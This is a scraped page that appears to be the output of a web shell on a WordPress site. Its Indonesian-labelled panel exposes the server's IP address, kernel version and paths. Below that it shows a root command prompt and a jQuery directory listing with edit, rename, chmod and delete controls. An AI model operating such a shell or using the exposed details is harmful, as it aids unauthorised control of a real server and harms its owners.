• Website : innerworth.webedge.org
  • Ip Address : 23.229.84.18
  • Port : 443
  • Kernel : Linux viking.webedge.org 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
  • Protokol : HTTP/1.1
  • Save Data :
  • Koneksi :
  • Server : Apache
  • Root : /home/webedge22/public_html/innerworth.webedge.org
  • G-Interface : CGI/1.1
  • R-Method : GET
  • Browser : Lainnya

: ~ /home/webedge22/public_html/wp-includes/js/jquery/

root@User :~
*NOTE : gunakan command sesuai os, jika os windows gunakan command cmd & jika os linux gunakan command linux
os = Operating System

Type Name Size Last Modified Permission options
ui 16 November 2022 03:03:29. drwxr-xr-x
jquery-migrate.js 31.23 KB 09 August 2023 11:25:44 -rw-r--r--
jquery-migrate.min.js 13.26 KB 09 August 2023 11:25:44 -rw-r--r--
jquery.color.min.js 6.49 KB 13 November 2024 16:28:42 -rw-r--r--
jquery.form.js 40.93 KB 19 March 2021 01:53:19 -rw-r--r--
jquery.form.min.js 15.6 KB 30 March 2023 11:25:18 -rw-r--r--
jquery.hotkeys.js 5.49 KB 24 February 2021 03:45:04 -rw-r--r--
jquery.hotkeys.min.js 1.75 KB 23 August 2012 08:04:18 -rw-r--r--
jquery.js 278.65 KB 08 November 2023 11:28:03 -rw-r--r--
jquery.masonry.min.js 1.78 KB 19 August 2016 02:55:30 -rw-r--r--
jquery.min.js 85.5 KB 08 November 2023 11:28:03 -rw-r--r--
jquery.query.js 3.61 KB 11 March 2022 02:54:02 -rw-r--r--
jquery.schedule.js 3.38 KB 11 January 2008 01:35:48 -rw-r--r--
jquery.serialize-object.js 769 B 24 February 2021 03:45:04 -rw-r--r--
jquery.table-hotkeys.js 3.66 KB 24 February 2021 03:45:04 -rw-r--r--
jquery.table-hotkeys.min.js 2.24 KB 23 August 2012 08:04:18 -rw-r--r--
jquery.ui.touch-punch.js 1.15 KB 11 April 2012 10:58:23 -rw-r--r--
suggest.js 6.83 KB 14 January 2016 01:22:27 -rw-r--r--
suggest.min.js 2.92 KB 14 January 2016 01:22:27 -rw-r--r--
: Edit File : rename File : Chmod File : Delete File